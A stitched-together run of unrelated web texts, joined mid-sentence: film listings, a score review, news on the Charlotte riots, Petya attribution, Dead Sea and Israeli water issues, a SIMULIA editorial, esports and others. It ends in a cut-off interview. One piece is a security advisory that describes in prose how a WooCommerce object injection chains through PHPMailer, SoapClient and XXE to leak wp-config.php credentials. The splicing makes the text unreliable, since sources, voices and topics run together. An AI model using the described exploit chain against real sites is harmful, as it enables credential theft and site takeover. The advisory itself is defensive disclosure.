Cast: Russell Crowe, Ed Harris, Jennifer Connelly, Christopher Plummer, Paul Bettany Synopsis: From the heights of notoriety to the depths of depravity, John Forbes Nash, Jr. experiences it all. A mathematical genius, he made an astonishing discovery early in his career and stood on the brink of international acclaim. But the handsome and arrogant Nash soon found himself on a painful and harrowing journey of self-discovery once he was diagnosed with schizophrenia. After many years of struggle, he eventually triumphed over this tragedy, and finally, late in life, received the Nobel Prize. ———————————– Tues 12th 8pm Gran Torino (2008) Director: Clint Eastwood Cast: Clint Eastwood, Christopher Carley, Bee Vang, Ahney Her Synopsis: Walt Kowalski is a widower, grumpy, tough-minded, borderline-hateful, unhappy old man who can’t get along with either his kids or his neighbors, a Korean War veteran whose prize possession is a 1973 Gran Torino he keeps in cherry condition. When his neighbor Tao, a young Hmong teenager, tries to steal his Gran Torino, Kowalski sets out to reform the youth. Drawn against his will into the life of Tao’s family, Kowalski is soon taking steps to protect them form the gangs that foul their neighborhood. ———————————– Wed 13th 5.50pm Rebel Without A Cause (1955) Director: Nicholas Ray Cast: Dennis Hopper, James Dean, Natalie Wood, Sal Mineo, Jim Backus Synopsis: The landmark teen film that solidified Dean’s image with the public follows the story of rebellious middle-class teens, disenfranchised with their parents, and given to a life of thuggery and deadly dangerous drag racing to win over women. ———————————– Wed 13th 8pm Jurassic Park (1993) Director: Steven Spielberg Cast: Joseph Mazzello, Samuel L. Jackson, Sam Neill, Laura Dern, Jeff Goldblum Synopsis (Wikipedia): The narrative begins in August 1989 by slowly tying together a series of incidents involving strange animal attacks in Costa Rica and on Isla Nublar, the main setting for the story. One of the species, a strange small lizard-like creature with three toes, is identified later as a Procompsognathus. Paleontologist Alan Grant and his paleobotanist graduate student Ellie Sattler are abruptly whisked away by billionaire John Hammond (founder and chief executive officer of International Genetic Technologies, or InGen) for a weekend visit to a “biological preserve” he has established on an island 120 miles west off the coast of Costa Rica. Jurassic Park: T-Rex Attack ———————————– Thurs 14th 5.50pm Ghost (1990) Director: Jerry Zucker, Steven Charles Jaffe Cast: Demi Moore, Whoopi Goldberg, Stephen Root, Patrick Swayze, Tony Goldwyn Synopsis: After he’s murdered, a young executive attempts to communicate with his girlfriend through a phony psychic. ———————————– Thurs 14th 8pm Road To Perdition (2002) Director: Sam Mendes Cast: Tom Hanks, Daniel Craig, Stanley Tucci, Paul Newman, Jude Law Synopsis: Two fathers: Michael Sullivan, a hit man for the Irish mob in Depression-era Chicago; and Mr. John Rooney, Sullivan’s boss and the man who raised him as a son. Two sons: Michael Sullivan, Jr. and Connor Rooney, each desperate to earn his father’s favor. Jealousy and competition put them all on a collision course, ultimately bringing Sullivan’s work into his private life and leading to the death of his beloved wife and youngest son, Peter. Now Michael Sullivan and his surviving son are set on a journey instigated by tragedy and fueled by revenge. ———————————– Fri 15th 6.15pm Tron (1982) Director: Steven Lisberger Cast: Jeff Bridges, Bruce Boxleitner, David Warner, Cindy Morgan, Barnard Hughes Synopsis: A video game designer trying to prove a big time executive stole his idea is sucked into a corporation’s mainframe where programs are personified counterparts of their writers and “users” are subjects of religious faith. A well-crafted and scripted metaphor, TRON benefits from breakthrough computer animation. ———————————– Fri 15th 8pm Minority Report (2002) Director: Steven Spielberg Cast: Tom Cruise, Colin Farrell, Peter Stormare, Tim Blake Nelson, Kathryn Morris Synopsis: In Washington, D.C., in the year 2054, murder has been eliminated. The future is seen and the guilty punished before the crime has ever been committed. From a nexus deep within the Justice Department’s elite Pre-Crime unit, all the evidence to convict–from imagery alluding to the time, place and other details–is seen by “Pre-Cogs,” three psychic beings whose visions of murders have never been wrong. It is the nation’s most advanced crime force, a perfect system. And no one works harder for Pre-Crime than its top man, Chief John Anderton. Destroyed by a tragic loss, Anderton has thrown all of his passion into a system that could potentially spare thousands of people from the tragedy he lived through. Six years later, the coming vote to take it national has only fueled his conviction that Pre-Crime works. Anderton has no reason to doubt it… until he becomes its #1 suspect. As the head of the unit, Anderton is the first to see the images as they flow from the liquid suspension chamber where the Pre-Cogs dream of murder
also a favorite because of slight subdued tone that the music takes while the sound of a helicopter is heard. I haven't seen this movie yet so to me...it sounds as if they are watching all of this destruction and chaos (probably shocked) from the helicopter. The music does a great job at painting a musical picture for the film. It isn't something that you are going to walk away from and start whistling a melody. It is what it is. Music that conveys a war with zombies! Fans of film scores will appreciate Maro's ability to put this terror in his music. We've seen the previews where the zombie horde looks like a bunch of "super ants" and the music does well in complimenting this visual image. The music marches, it builds to a terrifying climax, it slows down for an emotional breath, gives you the creeps with "disgusting" sounds, and then takes back off again. This composer knows what he is doing and he does it well. He has a long history with this genre and if your a fan of the film or just a collector who appreciates film scores...then I recommend this one for you.Four years ago, the city of Charlotte hosted President Barack Obama as he received the Democratic Party’s nomination for re-election to the White House. This week, it has suffered violent riots over the police shooting of Keith Lamont Scott. Scott, who is black, was allegedly armed at the time of his confrontation with police on Tuesday. The officer who shot him is also black. One person was shot and gravely wounded by a fellow civilian on Wednesday, during a second night of violence, the latest to mar the Black Lives Matter movement. The Charlotte Observer reports that protest began peacefully: At about 4:30 Wednesday, a group of two dozen protesters stood in front of the Bank of America Tower at Trade and Tryon streets. They silently stood and held signs reading “Black Lives Matter” and “Stop Killing Us.” Andrew Monroe said the protest was organized informally by a group of black professionals. “What we want to do is show we’re not dangerous,” he said. “We want to show the world it’s not thugs out here.” Monroe said black people deserve to be safe in the streets and don’t feel that way in the spate of recent police shootings. Across town at UNC Charlotte, students gathered at the Union and laid down in protest. It noted that the violence began around 8:30 p.m.: Protests had remained peaceful in uptown on Wednesday, after the fatal police shooting of Keith Lamont Scott. But the scene turned chaotic after 8:30 p.m., when protesters went from Marshall Park to the EpiCentre dining and entertainment complex and the Omni on Trade Street. Gunfire erupted in the crowd, and one protester was wounded. He was initially reported to have been killed, but that report was later corrected to indicate that he was critically wounded, and on life support. One of the shooting victims at the ‘peaceful’ #Charlotte ‘protest’ (police not involved) pic.twitter.com/c43Ykt5Ngm — LucidTheDeplorable™✘ (@LucidHurricane_) September 22, 2016 GRAPHIC: Civilian on civilian shooting at #CharlotteProtest. Rioters are claiming it was a police shooting. pic.twitter.com/LWRCi2yKDR — Tazer Swift (@CrashnDaPlane) September 22, 2016 The demonstration then refused to disperse and grew more violent. Police attempted to use tear gas to end the protest, as North Carolina Gov. Pat McCrory declared a state of emergency and deployed the National Guard and the State Highway Patrol to assist local law enforcement. Fresh round of tear gas fired at protestors. Rubber bullets being fired. Protestors scatter. #CharlotteProtest pic.twitter.com/EptXR3gq8d — Heather Lacy (@Heather_Lacy1) September 22, 2016 Protestors huddle in pkg garage after getting hit by tear gas. Pour milk in eyes & mouth. Say do not use water in eyes. #CharlotteProtest pic.twitter.com/INGqArCENK — Heather Lacy (@Heather_Lacy1) September 22, 2016 Meanwhile, looting and attacks on property spread throughout the downtown area. In one particularly chilling moment, a CNN reporter was assaulted during a live shot on the scene. CNN reporter just got attacked on air. pic.twitter.com/sqdaiUTHXx — Jimmy (@JimmyPrinceton) September 22, 2016 The reporter later said that the man who attacked him came back to apologize. Other journalists were also attacked, including a photographer who was allegedly unconscious when rioters tried to toss him into a fire. Meanwhile, the destruction spread. One unlikely target was the Charlotte Hornets team store: Other targets included local shops and apartment buildings: Protester kicking and breaking apartment windows on live tv #CharlotteProtest pic.twitter.com/BLNUiYAaAk — gifdsports (@gifdsports) September 22, 2016 The demonstration later moved to local interstate highways, such as the I-85 and I-277: #KeithLamontScott protesters shut down I-85 at WT Harris early Wednesday morning. https://t.co/UOXYwNaiuB pic.twitter.com/vh7dzLNW18 — FOX 46 Charlotte (@FOX46News) September 21, 2016 The Observer reports that the city was calm by 5:00 a.m. Thursday. Joel B. Pollak is Senior Editor-at-Large at Breitbart News. His new book, See No Evil: 19 Hard Truths the Left Can’t Handle, is available from Regnery through Amazon. Follow him on Twitter at @joelpollak.Regional leaders are helping to coordinate in-person meetups, appearances at conferences, translation projects, and are spreading the word about BAT. As part of the expansion, we are now featuring an interview with a BAT regional leader each week in our BAT Community Update on Reddit. Our first interview featured Viking Karwur from our BAT Indonesia group. We will continue these interviews, providing an opportunity for each regional leader to connect and share their interest and ideas for growing the project in their regions. We welcome additional volunteers to become regional leaders for their area, or to coordinate with existing regional leaders to help us continue to spread the word about BAT and get the world browsing a Better Web with Brave. If you’re interested in joining the effort, please connect with us at https://basicattentiontoken.rocket.chat. Brendan Eich presents Brave and BAT at Facebook HQ On August 15, 2017, Brendan presented his vision for BAT and Brave to an internal audience of crypto-enthusiasts at the Facebook HQ in Menlo Park, CA. Over 400 members of the group attended in-person and over an internal FB video feed.Mega Man Legacy Collection 2 rated in Korea [Update: also rated in Taiwan] More classic Mega Man games coming to current platforms. Update 5/10/17 at 6:25 p.m.: Mega Man Legacy Collection 2 has been rated in Taiwan for PlayStation 4, Xbox One, and PC. Original 4/28/17 at 4:10 a.m.: The Korean Game Rating Board has rated a “Mega Man Legacy Collection 2” for PlayStation 4, Xbox One, and PC. According to the description, the collection will include Mega Man 7, Mega Man 8, Mega Man 9, and Mega Man 10. The first Mega Man Legacy Collection was released for PlayStation 4, Xbox One, and PC in 2015, followed by 3DS in 2016. It includes Mega Man, Mega Man 2, Mega Man 3, Mega Man 4, Mega Man 5, and Mega Man 6. Capcom has yet to officially announce a “Mega Man Legacy Collection 2.”If you think of engineering as the art of designing things that work, you’re only partly right. For more than 200 years, companies have focused on engineering great products: man-made devices and machines that do exactly what they are intended to do. But today we expect more. Engineering competitive products means considering the people who will use, wear or, in the case of medical devices, host those products as well. Design perfect harmony between product and user. The relationship between man and machine is changing rapidly and as engineers we have to embrace that in our work. This imperative is already being expressed in the marketplace: Just look around you: Cars are now engineered for optimal driver experience or even a shared driving experience with the car itself. Full time wearable devices that monitor your health 24-7. Smart clothing that responds to your level of activity. …even patient-specific medical devices that are designed and manufactured to fit a single, unique human being. In the marketplace, many of these innovations are still in their infancy, but there’s no denying they are the future and the winners will be those who prepare now. If you are a product engineer you need to start thinking about how to factor the “human element” into your simulation-driven design process. It’s not only temperature, pressure, acceleration or other measurable quantities of physical phenomena that can affect product behavior: the user’s own interaction with the product can affect performance and durability as well and must be considered in the design phase. Engineering competitive products means considering the people who will use, wear or, in the case of medical devices, host those products And the corollary remains true, that the product design greatly affects the user experience. Designing in the right experience is essential in today’s competitive market and critical to building brand loyalty. Waiting until physical prototype or production phase is not the time to learn you don’t have this right. Never has the age-old adage of form following function been truer but the bar has been raised. Factoring in the Human Experience The complex interactions of the body with, for example, something as ubiquitous as a car seat, are a challenge to simulate. Bone, muscle, tissue, even blood supply—all these may need to be factored into the model when you are trying to define what a user can easily recognize as “comfort.” If you think the comfort of a car seat is not all that important, think again. Many purchasing decisions distill down to something as seemingly minor as how good the seat feels during a test drive, the first measure of perceived quality which influences the rest of the buying experience. Can you design a good product for human use without factoring in the human? Of course—but should you? At our Science in the Age of Experience event we heard about an athletic-shoe company who can readily engineer the desired physical response of their shoes entirely on the computer, yet they include an accurate human foot model to simulate comfort—the user experience which is the #1 priority for the runner thinking of buying. At Dassault Systèmes’ SIMULIA, through our close relationships with customers we were able to see this transformation some time ago. In response we have been investing in new technology and collaborating with industry leaders to make Virtual Human Modeling a reality. This special issue of SIMULIA Community News gives testimony to this fact and demonstrates some of the tremendous progress that has already been made. At the Science conference, we described our bold technology strategy for delivering the comprehensive multiscale/multiphysics portfolio required to enable human-centric, simulation driven-design. The genesis of this strategy was the challenge to help our customers move beyond PLM— remove current limitations of virtual product development that is void of user experience—and embrace a product development strategy for a sustainable world where those products are harmonized with nature and life. Our most advanced activity, the widely acclaimed Living Heart Project was our first to see how far we could go if we united a worldwide community on this important mission. It has set a new standard for collaboration and defined a new direction for computer-aided engineering, but it’s no longer the only example. Inspired by this work, we are now setting our sights on a future software strategy with the entire human body in mind. We believe that, across all industries, every customer that adopts this approach will produce better products and user experiences, delivered faster, more cost effectively and tuned to the precise demands of today’s diverse global markets. In this issue you’ll see examples of the kind of applications already possible today, including those from leaders in the research community, the industrial sector and even clinical applications in patients. For example, in the retail clothing industry, MDAC is helping Toyobo create human simulation models to analyze the pressure of clothing on the body as it moves to design for maximum comfort. As you may recall from previous issues of SIMULIA Community News, Wolfel has made great strides in creating a full human model with which to measure the forces of a person’s body on the seat of a vehicle. At Stanford University they are truly getting personal by creating individual-specific anatomy models to study everything from bone regrowth in tennis and football players to the effects of high heel shoes on women’s feet, and even brain surgery—yielding invaluable insights into the behavior of the human body. Of course one of the most exciting fields in which these tools have the potential to improve our lives is Life Sciences. We all like to think of ourselves as unique—and, as it turns out from the medical point of view, we are! Convergence Has Begun The convergence of science and engineering has begun to alter the landscape in Life Sciences, and we will all live better lives as a result. No strangers to advanced simulation, the academic, industry and clinical worlds already recognize the critical need to understand and model the human body. Using virtual human modeling to engineer safer and more effective device designs and procedures is just the tip of the iceberg. In the very near future, the shape, size and properties of almost anything— from arterial stents and aortic valves to replacement knees and hips, from plates and screws for repairing broken bones to bio-compatible plastic skull patches—will be custom-created for an individual. Devices can be virtually “fitted” to identify which will perform best inside a patient’s body, or to determine if a custom device is needed. Patients will become better educated on their options, which will alter the relationship with their doctors and surgeons, and influence their choice of treatment and device. Such a change will disrupt the industry as we know it today, and the winners will be those who learn to flourish in such an environment. The full power of personalized simulation can be realized through the use of SIMULIA’s simulation platform with complementary solutions from partners like Materialise and Synopsys, Inc. for translating 2D scan data into 3D meshes, or Intel and Hewlett-Packard Enterprise for high-performance computing. Adding our capabilities for optimization (Tosca, Isight) and fatigue-life evaluation (fe-safe) creates the ability to rapidly replicate the process used by nature for refining designs based on a “survival-of-the-fittest” methodology. These are exciting times to be an engineer. Now that BIOVIA has joined the other DS brands, we are developing the digital continuity necessary to build models that go from atoms to parts, components to systems—or from cells to organs, or individuals to entire populations. This truly is unprecedented and I’m eager to see how you will use the tools to make the impossible, possible. Imagine selecting, and even designing the performance qualities of, the specific materials that will deliver products with a precise user experience—right off the production line. Add in the benefits of collaboration with the 3DEXPERIENCE platform and imagination moves toward reality even faster. I hope you see why I believe we are on the threshold of a true transformation in product design and engineering. Think about the products you help to develop, use yourself, or the medical care you or your family receive. Ask yourself if such a human-centric transformation would change the game. Now is the time to be part of this profound shift and we’re here to help you master—and enjoy—the experience. This article was originally published in the September 2016 issue of SIMULIA Community News magazine.A British fraudster claimed he was a quadriplegic and faked being in a coma for two years to escape prosecution for a $73,000 theft. Alan Knight, 47, of Swansea, was finally caught out when stunned doctors spotted him eating, wiping his face and even writing, Metro reports. Further investigations uncovered CCTV footage of Knight pushing a shopping trolley around a Tesco supermarket and driving. It is alleged he fabricated the injury in a bid to avoid punishment after conning an elderly neighbour out of their savings. The father-of-three's wife, Helen, kept up the act by tending to her "vegetative" husband. "In my entire career this is the most calculated, long-term deception of a vulnerable, elderly neighbour I have ever seen," Detective Constable Paul Harry, from South Wales police, said. Knight pleaded guilty to 19 counts of theft and forgery. He faces an jail sentence next month. © Nine Digital Pty Ltd 2019Have you ever been on a roadtrip or stuck in traffic behind a truck and you've seen the iconic 'Horn OK Please" phrase featured on the rear bumper? Well, the phrase that is synonymous with India - for both Indians and foreigners alike - is said to go off trucks soon, at least in Maharashtra. According to the Times of India, State transport commissioner Mahesh Zagade on Thursday issued a circular banning the use of the phrase "Horn Ok Please" on the rear side of commercial vehicles, such as trucks and tempos, across Maharashtra. According to the State Transport office, "Horn ok Please" promotes noise pollution and it gives licence to motorists to honk unnecessarily. “There is a need for a cultural change in this regard and this is a step towards achieving that. Honking leads to noise pollution which can be reduced by such initiatives,” added Zagade in an Indian Express article. "We will conduct a drive to check all vehicles from next week. If we find any truck or tempo violating our orders, there will be stringent punishment—which could mean suspension of permits or fines as high as Rs 500," an RTO official was quoted as saying in the Business Insider. It isn't very clear though how the authorities plan to implement this bizarre rule for trucks and commercial vehicles coming from outside the state. The ban has caused Horn Ok Please to trend on twitter as well: Aaj kuch toofani karte hai #Maharastra Lets ban.. mmm... mmm okay whats the behind the truck? WTF is Horn Ok Please, Ban kara ban kara — Abhinav Shukla (@JustShukla) May 1, 2015 After a ban on "Horn Ok Please", Maha Govt should ban "Buri Nazar Wale Tera Muh Kala" phrase because it encourages racism!! — Pratik Prasenjit (@pratikprasenjit) May 1, 2015 Banning phrases like Horn OK Please will help reduce noise pollution, where as visarjan intensified EDM music is just the thing nature wants — Sonali Thakker (@SonaliThakker) May 1, 2015 If banning "Horn OK Please" will curb Noise Pollution then Mom & Dad who taught son for years to Respect Woman but still rapes are happening — Biswatosh Sinha (@biswatosh) May 1, 2015 Remove 'Horn Ok Please' from vehicles to stop people from honking??? I mean, remove the vehicles also then..Na rahegi gaadi na bajega horn! — Keh Ke Peheno (@coolfunnytshirt) May 1, 2015 As we bid a tearful farewell to these diverse posters, here's a look at the most beautiful 'Horn Ok Please' signs. According to one Quora user, the "OK" n "Horn Ok Please" was accompanied with a bulb over it, which the driver of the truck would switch on to signal the vehicle behind it that there is no oncoming traffic and hence it was okay to overtake. And apparently, the practice of using the bulb to signal other drivers slowly went away and only the OK remained, in between the horn and please. While the origin of the phrase is unknown it is now a part of India's identity for travellers. No rules in India suggest the use of such a phrase on a vehicle. We love the phrase so much that Bollywood has even made movies on it. The first being, Honk OK Please, released in 2006 and the second, Horn OK Pleassss released in 2009. Firstpost is now on WhatsApp. For the latest analysis, commentary and news updates, sign up for our WhatsApp services. Just go to Firstpost.com/Whatsapp and hit the Subscribe button.Security Risk: Dangerous Exploitation Level: Easy/Remote DREAD Score: 8/10 Vulnerability: Object Injection Patched Version: 2.3.11 503 SHARES Facebook Twitter During a routine audit for our WAF, we discovered a dangerous Object Injection vulnerability in WooCommerce which could, in certain contexts, be used by an attacker to download any file on the vulnerable server. Are You At Risk? The vulnerability is only present when WooCommerce’s “PayPal Identity Token” option is set. If it is, your site is vulnerable to an Object Injection type of vulnerability, which essentially means that depending on the context the site is running in, it may be used to do a variety of things. We managed to use a combination of WordPress and WooCommerce components with a known PHP bug (CVE-2013-1643) to download critical files, files like wp-config.php; for those unfamiliar, this file contains the database credentials and WordPress secret keys. As seen in the past, giving an attacker access to these files usually results in full site compromise. It is worth noting that even if your site doesn’t run on top of an old version of PHP a lot of different attack vectors an attacker could be used depending on what extensions you have available. There’s also a couple other bugs related to PHP itself that we could have investigated, but we decided to stick with CVE-2013-1643 because it’s widely documented and relatively simple to recreate. Technical Details Everything begins in the get_paypal_order method of the WC_Gateway_Paypal_Response class. The $custom function parameter is directly passed to WordPress function maybe_unserialize(), which can be used in Object Injection attacks when ran with direct user input. As you can see from the above snippet, the get_paypal_order method is used with a variables tainted by $_REQUEST[‘cm’] – anyone accessing the page where this code gets executed (when someone visits the plugin’s order-received page with some very specific parameters set) can use this vector to spawn arbitrary class instances and potentially modify the application’s execution flow (depending on what classes are available in the current context). Because this type of vulnerability requires very specific conditions to be exploited, we decided to give it a try and create a Proof of Concept to demonstrate how a malicious individual could use this vulnerability, along with CVE-2013-1643, to leak WordPress configuration file wp-config.php. Leaking files Some of you might already have noticed, the CVE mentioned earlier refers to some SOAP/XML issues, nothing related to unserialize() or Object Injection as a whole. The trick lays in the fact that this particular bug affects a few PHP mechanisms, including the SoapClient class. What makes this particular class interesting is the fact it contains a __call magic method that makes it possible to submit a SOAP request to any server and parse the resulting XML making it possible to conduct XXE attacks and download files from the server. In order to trigger the __call method, we needed to find a place in the code where we could force our unserialized object to call a method that doesn’t exist in the original class definition, thus forcing the magic method to trigger. We found what we were searching for in WordPress PHPMailer class, specifically in the smtpClose() method. In this scenario, we would unserialize a PHPMailer class whose smtp variable would contain a carefully crafted SoapClient instance to trigger the XXE part of the exploit. That’s good in theory, but we needed to find a way to call this method. .. we got lucky! The PHPMailer class also contained a destructor that calls the smtpClose() method! This means that all we’d need to do to get the __call magic method to execute is to initiate a PHPMailer class that has the Mailer variable set to “smtp”; PHP would call the necessary methods when the current script’s execution ends. Last but not least, we’d need the PHPMailer class to be present in the application context when our serialized payload hits the maybe_unserialize() call, which isn’t the case by default. Generally speaking, this class is included when WordPress uses the wp_mail() function, so we had to find a place where we could force WooCommerce to send an email before our serialized payload gets unserialized. WooCommerce allows users to reset their account’s lost password, a process that requires sending an email, exactly what the hackers want! Plus, this function is hooked very early in the WordPress boot sequence, which is perfect because it makes the PHPMailer class available for unserialization. Update as Soon as Possible If you’re using a vulnerable version of this plugin, update as soon as possible! In the event where you can not do this, we strongly recommend leveraging our Website Firewall or equivalent technology to get it patched virtually.In the wake of last week’s massive Petya ransomware attack in Eastern Europe, researchers are reaching consensus that the incident was a politically-motivated cyberattack. According to CNBC, the NATO Cooperative Cyber Defence Centre of Excellence (CCD COE) recently put out a statement claiming that the attack was like done by a state actor or a group with state approval. The development means that the cyberattack could be viewed as an act of war, triggering Article 5 of the Washington Treaty and compelling NATO allies to respond. "As important government systems have been targeted, then in case the operation is attributed to a state this could count as a violation of sovereignty,” wrote Tomáš Minárik, a researcher at the CCD COE law branch, in the release. “Consequently, this could be an internationally wrongful act, which might give the targeted states several options to respond with countermeasures.” “This could be an internationally wrongful act.” The statement puts the CCD COE, a NATO-sponsored cybersecurity research center based in Estonia, in agreement with researchers poring over the details of the attack. The Petya virus was seemingly aimed at central Ukrainian institutions instead of a broad array of ransom targets, and Ukraine bore the brunt of the attack. That fact, along with the basic errors that make ransom seem like a poor reason for a campaign of this scale and complexity, makes it looks like cyber criminals were not the culprits. "The operation was not too complex, but still complex and expensive enough to have been prepared and executed by unaffiliated hackers for the sake of practice,” the Centre wrote in the release. “Cyber criminals are not behind this either, as the method for collecting the ransom was so poorly designed that the ransom would probably not even cover the cost of the operation.” It’s possible Russia sponsored the campaign, given its history of military and cyber attacks in Ukraine, though there’s no concrete evidence proving the Russian government’s involvement. What’s more, some major Russian firms were hit in the attack. However, the Ukrainian state security service is blaming Moscow, claiming yesterday that the same Russian hackers who took down the country’s power grid last year were behind the hacks.The Dead Sea has been rapidly disappearing for 50 years, one of the world’s natural wonders careening toward ecological collapse in a region more often focused on political conflict. On Monday, Israel, Jordan and the Palestinian Authority agreed on an ambitious plan to begin refilling the ancient salt lake with briny water pumped from the Red Sea — and relieve local shortages of fresh water at the same time. In the first stage of what could become a massive joint initiative, private investors will be asked to finance construction of a large desalination plant in Jordan, on the Gulf of Aqaba. The plant would suck billions of gallons from the Red Sea and convert it to drinking water that would be shared by Israel and Jordan. Israel, in turn, would increase the amount of water it sells to the Palestinian Authority by as much as 30 million cubic meters a year. Billions of gallons of “reject brine” — essentially, super-salty water created by the desalination process — would be pumped via a new, 100-mile pipeline and discharged into the Dead Sea, in quantities hoped to be large enough to buy some time and slow the lake’s disappearance. The initiative was announced two days before Secretary of State John F. Kerry makes his latest trip to Jerusalem to nudge forward peace talks between Israel and the Palestinian Authority. Although the Dead Sea project is not directly linked to those talks, Kerry has said that increasing the supply of water in the West Bank is a key part of economic development there, which the United States sees as a vital stepping stone to peace. (The Washington Post) The project has been under study for years. Negotiators for the three sides had to navigate the cost of rehabilitating a natural heritage site they all border and address the region’s pressing water problems. Jordan and the Palestinian Authority are chronically short of fresh water, and although Israel has a surplus — it has invested heavily in desalination and enjoyed a recent spate of good rainfall — that could quickly change in a drought. At a signing ceremony in Washington — witnessed by representatives of the U.S. State Department and the World Bank — Israeli, Jordanian and Palestinian officials said the agreement was proof that they could come to terms on a life-and-death issue. “It is no joke when people are looking for a liter of water to drink,” said Hazem Nasser, Jordan’s water minister. “The role of water in our region is completely different from anywhere in the world.” Much about the project remains to be worked out. Bids from private investors will be solicited next year, with estimated construction costs for the plant and pipeline running anywhere from $500 million to about $1 billion. The sensitive issue of fees for the water and the exact routing of the pipeline remain to be negotiated. The first drop of brine would probably not be deposited into the Dead Sea before 2017. But if it works out, the agreement could pave the way for even more “Dead to Red” investment. The World Bank has conceptualized a $10 billion program — once envisioned as a canal between the two bodies of water but now possibly involving a series of pipelines and desalination plants. “This is a historic agreement that realizes a dream of many years,” said Silvan Shalom, Israel’s water and energy minister. “The agreement is of the highest diplomatic, economic, environmental and strategic importance.” And, hopefully, not too late. The Dead Sea is the lowest spot on Earth, a vast, sulfurous and strange body of water landlocked in a great rift valley, a cradle of civilizations and religions. It gets its name from the fact that no plants or animals can live in its mineral-saturated waters. The sea is mentioned a few times in the Bible and is located just south of Jericho, near the sites of the ancient cities of Sodom and Gomorrah. The Crusaders called it the Devil’s Sea. Today, it is a popular destination for tourists, who pack themselves in mud from its shores and float in water that is about 10 times as salty as the ocean. There are salt ponds, potash mining and a mystical vibe — with lots of quicksand and sinkholes. Thanks to humans, the sea has been dying for years — its spa resorts, once seaside, now so far from the shore that visitors have to hop a trolley or hoof it to reach their salty baths. The water level has dropped more than 80 feet in the past half-century as Israeli and Jordanian agricultural projects reduced the flow of the Jordan River to a trickle. The decrease in inflow from the river and the desiccation of local natural springs have shrunk the surface area of the lake by one-third. Government scientists and World Bank officials said the desalination deal would be only a small step on the long and uncertain path to stabilizing the Dead Sea. The 26 billion gallons of brine that would be added each year is a fraction of what is needed to maintain the sea’s current water level. Some environmental groups, such as Friends of the Earth Middle East, say the transfer of brine into the sea could have “detrimental impacts.” Scientists say they will monitor the sea for any negative effects. A mixing pool will be created at the southern end, where the brine will be added, and dammed off from the rest of the sea, so they can study the interaction of water from the two places. Schneider reported from Washington. Anne Gearan in Washington contributed to this report.It was a source of national pride – technology and discipline besting a crippling lack of water. Follow Ynetnews on Facebook and Twitter But four years of drought have overtaxed Israel's unmatched array of desalination and wastewater treatment plants, choking its most fertile regions and catching the government off-guard. A dry agricultural field is seen in the Hula Valley, northern Israel (Photo: Amir Cohen/Reuters) The Sea of Galilee, technically a lake near the border with Syria, is forecast to hit its lowest level ever before winter rains come, despite the fact that pumping there was massively reduced. Underground aquifers, the other main freshwater source, are nearing levels that will turn them salty. How to cope with the crisis is becoming an increasingly touchy subject in Israel. Proposed cuts to water use for the coming year, more than 50 percent in some areas, prompted vehement opposition from farmers, who already face tough restrictions and would have been the hardest hit. The government quickly backtracked. In the Middle East, one of the most vulnerable regions to climate change, water is also the subject of wider tensions. Intense pressure on already scarce water resources could lead to an increase in migration and the risk of conflict, the World Bank has warned. Cranes stand in a dry agricultural field in the Hula Valley (Photo: Amir Cohen/Reuters) Palestinians have long complained of inadequate access to water, which is mostly under Israeli control in the West Bank. Israel has said it has supplied more water than required under interim peace deals. Under discussion for a possible long-term solution to Israel's water problem is the construction of an additional desalination plant, an industry official said. A similar facility in Israel has cost more $400 million. Several new reservoirs to catch rain and flood waters could also relieve some pressure as a quick, $60 million fix, the official said, asking to remain anonymous due to the political sensitivity of the subject. Just a few years ago Israel, a country two-thirds arid, declared an end to the water shortages that hounded it for decades. A longstanding nationwide awareness campaign ceased and Israelis could take long showers and water their gardens. Photo: Amir Cohen/Reuters Supply issues are being hardest felt among farmers in the northern tip of Israel, the region where Dubi Amitay, a fourth-generation farmer and president of the Israel Farmers Federation, lives. Amitay said the shortage had made him decide to dry out 3,700 acres of land, which will take a toll on future harvests. Photo: Amir Cohen/Reuters His home region of eastern Galilee, a lush swath of land between the coast and the Golan Heights, could lose up to NIS 500 million this season, he said. The lack of reliable waters supply leaves farmers with deep uncertainty.Google Doodles are meant to be fun and informative, but lately they've been cause for outrage. Tuesday's Doodle is no exception. It features a primate, an Australopithecus (a close relative to humans) and a human, to celebrate the 41st anniversary of Lucy the Australopithecus' discovery. Lucy is thought to have walked upright and is considered to be an early human ancestor. Forty-seven of Lucy's 206 bones were found in Ethiopia in 1974 — about 40% of her skeleton. Evolution, of course, is an aggressively disputed topic (remember the Scopes trial, anyone?) and some creationists — and, probably, a few trolls too — have taken to the Internet to express their anger at Google for celebrating a historic scientific moment. "Google, I'm not a monkey!" one wrote. Another: "Google supports the THEORY of evolution. If evolution were true we wouldn't have monkeys around anymore, idiots!" (This idea is, of course, false.) Creationists Are Slamming the Google Doodle for Celebrating Lucy the Australopithecus More Creationists Are Slamming the Google Doodle for Celebrating Lucy the Australopithecus More Creationists Are Slamming the Google Doodle for Celebrating Lucy the Australopithecus MoreOn the 23rd of July, 'Team Solo Mid' and 'Echo Fox' clashed atop the LCS stage. As expected from the fans, TSM took the series for themselves. As the players from both sides climbed down from the stage, we wanted to personally hear from the players of TSM regarding their recent performances, opinions on the meta, and their expectations for the playoffs. While we were caught amidst our thoughts, we were granted an opportunity to speak with Doublelift, a player famous for his mechanical prowess. And so, we began. Congratulations on your victory! How do you feel? First of all, I think 'Patch 7.14' was a big mix-up patch where bottom teams can do well while top teams can struggle. At the moment, there are so many powerful champions. For example, In the Jungle; Sejuani, Maokai, and Cho'Gath are becoming strong picks. Also, there are many champions that are being utilized for different purposes in the toplane; such as Camille and Fiora for split pushing comps and Maokai and Cho'Gath for teamfighting comps. Each and every team is playing the meta to their advantages by utilizing unique strategies. And so, I am not happy with my team at the moment. We need to find the champions and playstyle for this meta just like how the other teams are. We still have a lot to learn, especially from our loss against Dignitas. After returning from the 'Rift Rivals', it looked as if TSM's performance fumbled a little bit. Do you think the event had an impact on the team? Our playstyle and team comp didn't really change too much from 'Rift Rivals'. What really impacted our team is the loss of practice time from the traveling. We could've instead spent the time fortifying our mechanical skills by playing solo queue or finding new playstyles by scrimming. The whole ordeal really made us predictable for the other teams. Although we won 4-0 on our return, the way we won was pretty bad. And on this weekend, we just had a bad understanding of the meta. Big patches like this really give top teams a hard time to remain at the top. Bjergsen got his 1,000th kill during the 1st set of the series. Since you have achieved this before him, do you have any advice for him? Bjergsen was actually
